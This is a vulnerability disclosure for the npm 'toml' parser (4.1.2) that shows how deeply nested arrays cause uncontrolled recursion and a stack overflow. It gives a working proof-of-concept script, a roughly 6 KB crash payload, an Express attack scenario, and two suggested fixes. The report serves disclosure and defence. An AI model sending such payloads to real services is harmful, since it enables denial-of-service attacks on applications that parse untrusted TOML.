toml-node: Uncontrolled Recursion

Confirmed PoC (toml 4.1.2, Node.js v24.16.0)

Setup:

npm install [email protected]        # latest release; 4.1.1 and earlier are equally affected
# Docker equivalent:
# docker run --rm node:24 bash -c "npm i -g toml >/dev/null 2>&1; node -e '<PoC below>'"

Reproduce — save as poc.js, run node poc.js:

const toml = require('toml');
console.log('version:', require('toml/package.json').version);  // 4.1.2

// Smallest reliable payload: a bare array nested 3000 levels (~6 KB)
let x = '1';
for (let i = 0; i < 3000; i++) x = '[' + x + ']';
const payload = 'a=' + x;
console.log('payload bytes:', payload.length);   // 6003

try {
  toml.parse(payload);
  console.log('no crash');
} catch (e) {
  console.log('CONFIRMED:', e.constructor.name + ':', e.message.slice(0, 40));
  console.log('is RangeError?', e instanceof RangeError,          // true
              '| is SyntaxError?', e instanceof SyntaxError);     // false
}

Expected output (vulnerable — actual run):

version: 4.1.2
payload bytes: 6003
CONFIRMED: RangeError: Maximum call stack size exceeded
is RangeError? true | is SyntaxError? false

Verified crash thresholds (fresh process, single parse, default Node 24 stack):

Note on the exact threshold: the precise crashing depth is not perfectly deterministic — it shifts by a few hundred levels depending on V8 JIT state, Node version, platform, and any configured --stack-size. This is expected for a stack-overflow condition. A payload nested a few thousand levels deep (single-digit KB) crashes reliably across runs; the PoC above (depth 3000) leaves ample margin.

Realistic Attack Scenario

// Node.js service parsing user-supplied TOML config
const express = require('express');
const toml = require('toml');
const app = express();
app.use(express.text({ type: 'application/toml', limit: '100kb' }));

app.post('/config', (req, res) => {
  try {
    const config = toml.parse(req.body);   // ← RangeError on ~6 KB nested payload
    res.json({ status: 'ok' });
  } catch (e) {
    // toml only throws a peg$SyntaxError (e.name === 'SyntaxError', with e.line/e.column)
    // on malformed input. A RangeError has neither, so this guard rethrows it:
    if (e.line != null) return res.status(400).json({ error: e.message });
    throw e;                                // RangeError propagates → uncaught → worker down
  }
});

An unauthenticated attacker POSTs a ~6 KB deeply nested body (well under the 100 KB limit). toml.parse overflows the stack and throws RangeError; any handler that only special-cases syntax errors rethrows it, taking down the request (and, depending on the server, the worker).

The package exports only parse (Object.keys(require('toml')) → ['parse']); there is no toml.SyntaxError. Code written as catch (e) { if (e instanceof toml.SyntaxError) … } is itself broken (instanceof undefined throws), so applications generally cannot cleanly distinguish the DoS RangeError from a normal parse error.

Impact

Any Node.js application that calls toml.parse() on untrusted input is exposed to a remote, unauthenticated denial of service via a small (~5–6 KB) deeply nested payload. toml.parse is the package's only public API, and TOML is commonly parsed from user-supplied config/upload endpoints. With ~47 million monthly downloads and 0 existing CVEs, the exposure is broad.

RangeError is a subclass of Error (not of the parser's SyntaxError), so it bypasses the usual "is this a parse error?" checks and propagates as an unexpected exception.

Suggested Fix

Because lib/parser.js is generated, the fix should be applied at the grammar level and regenerated, or guarded at the entry point:

Option 1 — grammar-level depth guard (src/toml.pegjs), then re-run Peggy:

// In the grammar initializer:
{ let depth = 0; const MAX_DEPTH = 500; }

// Wrap the recursive `value` rule:
value = &{ if (++depth > MAX_DEPTH) { error("TOML nesting too deep"); } return true; }
        v:(array / inline_table / ...) { depth--; return v; }

Option 2 — entry-point guard in index.js (reject pathological input before parsing):

module.exports.parse = function (input) {
  // cheap structural bound before the recursive parse
  let depth = 0, max = 0;
  for (const ch of input) {
    if (ch === '[' || ch === '{') max = Math.max(max, ++depth);
    else if (ch === ']' || ch === '}') depth--;
  }
  if (max > 500) throw new Error('TOML nesting depth exceeds limit (500)');
  return realParse(input);
};

Immediate mitigation (users, verified): bound untrusted input length and bracket-nesting depth before calling toml.parse(), e.g. reject payloads whose maximum [/{ nesting exceeds a few hundred. A byte-length limit alone is insufficient (5 KB already crashes).

Comparison with Related Vulnerabilities

Same CWE-674 class as the recursion-DoS findings in the PyPI toml package (C055) and the YAML parsers (PyYAML GHSA-r9mm-j37c-pjwp, ruamel.yaml). The distinguishing detail here: the parser is generated by Peggy, so the recursion lives in peg$parsevalue/peg$parsearray/peg$parseinline_table and cannot be fixed by editing a hand-written function — the earlier draft of this report incorrectly showed hand-written parseValue(tokens, index) functions that do not exist in the package.